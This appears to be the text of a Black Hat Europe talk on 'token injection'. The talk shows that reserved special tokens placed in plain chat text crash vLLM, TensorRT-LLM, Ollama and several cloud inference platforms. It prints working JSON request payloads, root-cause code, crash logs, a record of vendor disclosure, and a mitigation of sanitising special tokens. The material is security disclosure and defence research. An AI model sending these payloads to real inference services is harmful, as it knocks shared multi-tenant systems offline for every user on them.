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Motivation

LLM Inference Infra:

● The Industry's Lifeline

○ The "Standard" Acceleration Engine.

● The "OS Kernel" of AI

○ The only bridge between user text and the hardware.

● Multi-Tenant Architecture

○ The "Shared" Reality: One instance serves hundreds of users.

An Underestimated Attack Surface
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Token Injection
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LLM Infra 
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Special Token 
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Special Token for Qwen
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Click the model page
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Files and versions
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Tokenizer_config.json
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Function Category
OpenAI / 

GPT (ChatML)
Meta / 
LLaMA 

Google 
(BERT)

Text Boundary Constraints <|endoftext|> (EOS)
<|begin_of_text|>
<|end_of_text|>

BERT: [CLS], [SEP]

Content Filling / Masking
<|fim_prefix|>, 
<|fim_suffix|>

N/A
BERT: [MASK], [PAD], 

[UNK]

Structural & Role 
Switching

<|im_start|>, <|im_end|> 
+ roles 

<|start_header_id|>, 
<|end_header_id|>, 

<|eot_id|> 
N/A

Multimodal & Reserved 
Markers

<|reserved_200000|>, … 
(reserved control tokens)

<|image|> 
Multimodal placeholders 

vary by model
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Token Injection

● Definition:

○ Injecting reserved Control 

Tokens into the input stream 

to manipulate the Internal 

State of the inference 

engine.
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CaseStudy 1 ：VLLM
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Payload for VLLM

{

 "model": "Qwen/Qwen2.5-VL-3B-Instruct",

 "messages": [{

   "role": "user",

   "content": [{

     "type": "text",

     "text": 

"<|vision_start|><|video_pad|><|vision_end|>"

   }]

 }]

}

1. Text-Only Attack

2. Single HTTP Request

3. Immediate Engine Crash



#BHEU   @BlackHatEvents

500 Internal Server Error
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500 Internal Server Error



#BHEU   @BlackHatEvents

Inference WorkFlow-VLLM
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Root Cause

def get_placeholder_str(cls, modality: str, i: int):

   if modality.startswith("video"):

       return "<|vision_start|><|video_pad|><|vision_end|>"

def _vl_get_input_positions_tensor(cls, input_tokens,

   video_grid_thw, ...):  

   ...

   video_nums = (vision_tokens == video_token_id).sum() 

   ... 

for _ in range(video_nums):

   t, h, w = (

       video_grid_thw[video_index][0],

       video_grid_thw[video_index][1],

       video_grid_thw[video_index][2],

   )
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VLLM done
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VLLM done Is Other Infrastructure 
Vulnerable?
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CaseStudy 2 ：TensorRT-LLM
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Payload for TensorRT-LLM 

{

 "model": "Qwen/Qwen2.5-VL-3B-Instruct",

 "messages": [{

   "role": "user",

   "content": [{

     "type": "text",

     "text": 

"<|vision_start|><|image_pad|><|vision_end|>"

   }]

 }]

}

1. Text-Only Attack.

2. 1st Request: Corrupts State.

3. 2nd Request: Crashes GPU Worker.
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State Corruption
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The CUDA Error
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Inference WorkFlow-TRTLLM
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Code Analysis 1
for i, input_ids in enumerate(total_input_ids):

       vision_start_indices = torch.argwhere(

           input_ids == 

vision_start_token_id).squeeze(1)

           ...

           for _ in range(image_nums + video_nums):

           ...

               image_grid_thw[image_index][0]

           ...

           llm_grid_t, llm_grid_h, llm_grid_w = (

               t.item(),  

               ...

           )

Python

@nvtx_range("_update_request_states")

def _update_request_states_tp(self, 

scheduled_requests: ScheduledRequests):

           ...

           request.move_to_next_context_chunk()

C++

py::class_<GenLlmReq, std::shared_ptr<GenLlmReq>>(m, 

"Request")

   .def("move_to_next_context_chunk", 

&GenLlmReq::moveToNextContextChunk)

...
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Code Analysis 2
C++

void moveToNextContextChunk()

{

    TLLM_CHECK_WITH_INFO(isContextInitState(),

      "Chunking is only possible during the context 

phase.");

  mContextCurrentPosition += getContextChunkSize();

  setContextChunkSize(0);

}

Terminal：

RuntimeError: [TensorRT-LLM][ERROR] Assertion failed: 

Chunking is only possible during the context phase. 

(/home/jenkins/agent/workspace/LLM/release-0.20/L0_Test-

x86_64/tensorrt_llm/cpp/include/tensorrt_llm/batch_manag

er/llmRequest.h:1556)
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Code Analysis 3
C++

void CublasMMWrapper::Gemm(cublasOperation_t transa, 

cublasOperation_t transb...) 

   {

   ...

       check_cuda_error(cublasGemmEx(

           getCublasHandle(),                  

           m, n, k,             

           alpha,              

           A, mAType, lda,     

           ...

           static_cast<cublasGemmAlgo_t>(cublasAlgo)  

       ));                    

}

Terminal：

RuntimeError: CUDA error: device-side assert 

triggered

CUDA kernel errors might be asynchronously 

reported at some other API call,

so the stacktrace below might be incorrect.

For debugging consider passing 

CUDA_LAUNCH_BLOCKING=1

Compile with 'TORCH_USE_CUDA_DSA' to enable 

device-side assertions.
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Demo-TRTLLM

https://docs.google.com/file/d/12V352HrIU-qXv55RDK3cSj-tiNDeMKq7/preview


#BHEU   @BlackHatEvents

CaseStudy 3 ：OLLAMA
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Payload for Ollma
{

 "model": "gemma3",

 "messages": [{

   "role": "user",

   "content": [{

     "type": "text",

     "text": "what's in picture 

<start_of_image><image_soft_token><end_of_image>

"

   }]

 }]

}

1. Text-Only Attack

2. Single HTTP Request

3. Immediate Engine Crash
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System Crash: Register Dump
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Segmentation Fault



#BHEU   @BlackHatEvents

Out-of-Bound Memory Access
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Impact
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Root Cause:
   Mixing Control & Data: Special Tokens 
(Control) are processed in the same 
stream as User Prompts (Data).
   Just like SQL Injection, but for LLMs.
Impact:
   Memory corruption or Weird State
   Directly crash the system
   May lead to further exploitation
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Tested on Open Source LLM Infra

Token Injection is universal. 

It affects the core of the LLM serving ecosystem.

：Entire engine crashed.

: Dos for that user.
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It also breaks real-world 
Cloud Platforms !
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SiliconFlow & Meta AI
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Nvdia NIM
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Google Vertex AI
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OpenRouter
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Hugging Face TGI
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Microsoft Azure
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Demo-Azure

https://docs.google.com/file/d/1jGmsRQbu9H1-QkHVgwG5nhswKIAL85C-/preview
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END
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End？

We didn't want to stop at just "Crashes".

Designed a specialized Black-box Fuzzer.

Hunting for Other Cross-User Bugs

 (e.g., Leaking or manipulating other users' 

conversations).
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The Fuzzer
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Goal: Data Exfiltration or Inference Manipulation

Result: FAILED with the Fuzzer. (No low hanging fruit 

found)

However...

● This was a black-box test.

● In-depth research needed here.
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How to Fix ？

nobody care？
no
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The Native Defense

huggingface 自己就有保护
但是目前所有的模型都不开这个选项
开启了推理框架也启动不了
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How many Open-Source Model
    use this protection?

≈0%
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The Default Insecurity
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Vendor Responses
Target / Vendor Report Date Current Status

VLLM 2025-08 Fixed

SGLANG 2025-08 No Response

TRTLLM 2025-08 No Response

HuggingFaceTGI 2025-08 No Response

Ollama 2025-08 No Response

MLX 2025-08
Not a 

vulnerability

Target / Vendor Report Date Current Status

Google 2025-07 Fixed

NVIDIA 2025-08 Fixed

Microsoft 2025-08 Fixed

Meta 2025-08 Self-Dos
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Takeaway
● New Attack Surface

○ Beyond Prompt Injection →Token Injection.

● Simplicity

○ One Simple Chat →Server Down.

○ May also cause further exploitation

● Defense

○ Sanitize Special Tokens.
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Q & A
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THANKS！

Pengyu Ding (@Wum1ngly)


